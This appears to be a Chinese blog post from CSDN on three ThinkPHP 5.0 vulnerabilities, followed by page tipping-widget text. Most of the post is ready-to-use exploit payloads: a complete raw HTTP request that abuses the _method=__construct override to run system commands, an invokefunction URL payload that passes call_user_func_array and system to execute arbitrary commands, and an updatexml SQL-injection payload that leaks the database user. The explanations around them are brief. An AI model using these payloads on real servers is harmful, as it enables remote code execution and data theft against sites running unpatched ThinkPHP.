ThinkPHP框架漏洞

文章探讨了ThinkPHP5.0版本存在的三个主要安全问题:一是通过POST请求中的_method参数覆盖导致的构造函数命令执行漏洞;二是因未开启强制路由,允许远程命令注入;三是服务器处理orderby参数时对数组缺乏过滤,可引发漏洞。这些问题都可能让攻击者执行任意代码,影响系统安全。
摘要由CSDN通过智能技术生成

介绍:ThinkPHP是一个开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。

{i}5.0命令执行漏洞

POST /index.php?s=captcha HTTP/1.1

Host: localhost

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

在ThinkPHP5.0版本表单请求类型伪装中,通过$_POST['_method']来传递真实的请求方法,攻击者可以通过POST传递_method=__construct来对Request类的method方法进行覆盖。当攻击者将filter变量覆盖为system函数时即 可任意代码执行漏洞。

{ii}远程命令注入: 由于没有开启强制路由,未对路由的控制器进行过滤,导致远程命令执行。

payload:

http://xx.xx.xx.xx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数

{iii}由于服务器处理order by的参数时,未对数组进行过滤,若传入的参数为数组,则会导致漏洞产生

payload:

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值